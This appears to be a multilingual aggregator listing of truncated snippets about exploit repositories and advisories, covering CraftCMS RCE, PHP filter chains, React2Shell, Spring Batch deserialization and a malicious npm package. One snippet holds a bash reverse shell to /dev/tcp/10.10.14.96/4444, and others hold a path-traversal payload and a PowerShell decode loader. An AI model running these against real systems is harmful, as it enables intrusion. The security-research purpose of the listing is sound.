Malicious code in mfacord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e8426c0e4e80e0bd9839d8517e060bd923775b8a3e100aab57e18b4f47c970e On require'mfacord', index.js loads lib/cache.js, which on win32 decodes a hardcoded URL...

MAL-2026-15557 Malicious code in mfacord (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 6e8426c0e4e80e0bd9839d8517e060bd923775b8a3e100aab57e18b4f47c970e On require'mfacord', index.js loads lib/cache.js, which on win32 decodes a hardcoded URL...

LFI-to-RCE-SE-Suite-2.0

Удалённое выполнение кода в SoftExpert Excellence Suite 2.0 - CVE-2023-30330 Аутентифицированное локальное включение файла, приводящее к удалённому выполнению кода в SoftExpert Excellence Suite EQM. CVE-2023-30330 Версии SE Suite 2.x до 2.1.3 Протестировано на версиях: 2.0.15.31 и 2.0.15.115 LFI...

craftcms-cve-2025-32432-rce

root@kitploit: payload=$printf %s "bash -c 'bash -i & /dev/tcp/10.10.14.96/4444 0&1'" | base64 -w0; ./craftrce.py http://10.129.66.170 "echo $payload | base64 -d | bash" orion.htb...

CVE-2026-21015-PHP-Filter-Chain-Arbitrary-File-Read

CVE-2026-21015 – Lettura arbitraria di file tramite catena di filtri PHP Codice del programma PHP root@kitploit: // vulnerable.php - Includes file based on user input via filter ?php $file = $GET'page'; // Attempt to sanitize by allowing only .php files, but vulnerable to filter wrapper...

CVE-2026-11105-Stack-Buffer-Overflow-in-Custom-Base64-Decoder

CVE-2026-11105 – कस्टम Base64 डिकोडर में स्टैक बफर ओवरफ्लो प्रोग्राम कोड C root@kitploit: // base64vuln.c - Vulnerable Base64 decoder include include include int base64decodeconst char in, sizet inlen, char out, sizet outlen static const char table =...

CVE-2026-58107 Authenticated Remote Denial of Service via Unbounded zlib Decompression in massStoreRun

CodeChecker's massStoreRun processing path performs one-shot decompression of attacker-controlled, Base64-encoded zlib data without enforcing a maximum decompressed size. An authenticated user with permission to store analysis runs can submit a highly compressed payload that expands to a...

CVE-2025-61686_docker

CVE-2025-61686docker Início 1.build root@kitploit: docker-compose up --build 2.start root@kitploit: docker-compose up Fluxo de Reprodução 1.Construa uma session que atenda à condição de travessia root@kitploit: └─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-' | tr -d '='...

JavaDeRe

Introduzione al progetto Utilizzato principalmente per codificare in base64 la classe durante la costruzione di payload di echo per la deserializzazione Java e, in situazioni di emergenza, per decodificare stringhe base64 e ripristinare il file class, consentendo di esaminare il payload...

Pentest-tools

Pentest-tools Strumenti di Pentest per Intranet, aggiornati continuamente...

Powshell-decode-payload

PowerShell-Gzip-Code dekodieren sal a New-Object;a IO.StreamReadera IO.Compression.GZipStreamIO.MemoryStreamConvert::FromBase64String'xxxx',IO.Compression.CompressionMode::Decompress,Text.Encoding::ASCII.ReadToEnd root@kitploit: sal a New-Object;a IO.StreamReadera...

AWS-Key-Hunter

AWS-Key-Hunter AWS Key Hunter è uno strumento potente e automatizzato che scansiona i repository GitHub alla ricerca di chiavi AWS esposte. Monitora continuamente i commit, rileva i segreti AWS sia in formato base64 che in testo semplice e avvisa gli utenti dei potenziali rischi per la sicurezza ...

ctf-party

ctf-party Cos'è Una libreria per migliorare e accelerare la scrittura di script/exploit per i giocatori di CTF o ricercatori di sicurezza, cacciatori di bug, pentester, ma principalmente focalizzata sul CTF estendendo la classe String per aggiungere una sintassi breve degli schemi di codice usual...

loki

loki Lançado como código aberto pela NCC Group Plc - http://www.nccgroup.com/ Desenvolvido por Dave Spencer, david ponto spencer arroba nccgroup ponto com http://www.github.com/nccgroup/Loki Lançado sob AGPL, consulte LICENSE para mais informações Descrição O Loki Impersonador de Teclado Obstruti...

Sleipnir

Sleipnir Rilasciato come open source da NCC Group Plc - http://www.nccgroup.com/ Sviluppato da Dave Spencer, david dot spencer at nccgroup dot com http://www.github.com/nccgroup/Sleipnir Rilasciato sotto AGPL, vedi LICENSE per maggiori informazioni Descrizione Sleipnir è un piccolo eseguibile...

react2shell-cve-2025-55182

🚨 React2Shell - CVE-2025-55182 Exploitation Framework Framework di exploitation avanzato per CVE-2025-55182 Remote Code Execution su Next.js Autore: opsecramdan 📚 Indice Panoramica Dettagli della Vulnerabilità Funzionalità Requisiti Installazione Utilizzo Shell Interattiva File di Output Impatto...

CVE-2026-39324

CVE-2026-39324 Exploit PoC Rack::Session::Cookie-Entschlüsselungsfehler führt dazu, dass unverschlüsselte Cookies akzeptiert werden | ---|--- Advisory| GHSA-33qg-7wpp-89cq Paket| rack-session RubyGems Betroffen| = 2.1.1 Behoben| 2.1.2 Zusammenfassung Rack::Session::Cookie mit secrets: sollte nur...

CVE-2025-57926

Sink: Secondo il meccanismo del Core di WordPress, l'XSS è prevenuto nel contenuto dei post, ma con questo plugin il contenuto viene codificato e poi decodificato al momento del rendering, creando involontariamente una vulnerabilità XSS." PoC: Il payload codificato in base64 è...

CVE-2026-47878

DefaultExecutionContextSerializer, used by default in Spring Batch's JDBC job repository, passes Base64-decoded bytes directly to ObjectInputStream.readObject without an ObjectInputFilter that restricts types to a trusted class allowlist. Spring Batch 6.0.0 - 6.0.4 Spring Batch 5.2.6 and earlier...

CVE-2026-33033-PoC

PoC CVE-2026-33033 Negação de serviço via amplificação de CPU por espaços em branco em base64 noMultiPartParser do Django Uma única requisição HTTP de 2,5 MB pode prender um worker do Django por 5 segundos , alcançando 2.100x de amplificação de CPU em comparação com uma requisição normal do mesmo...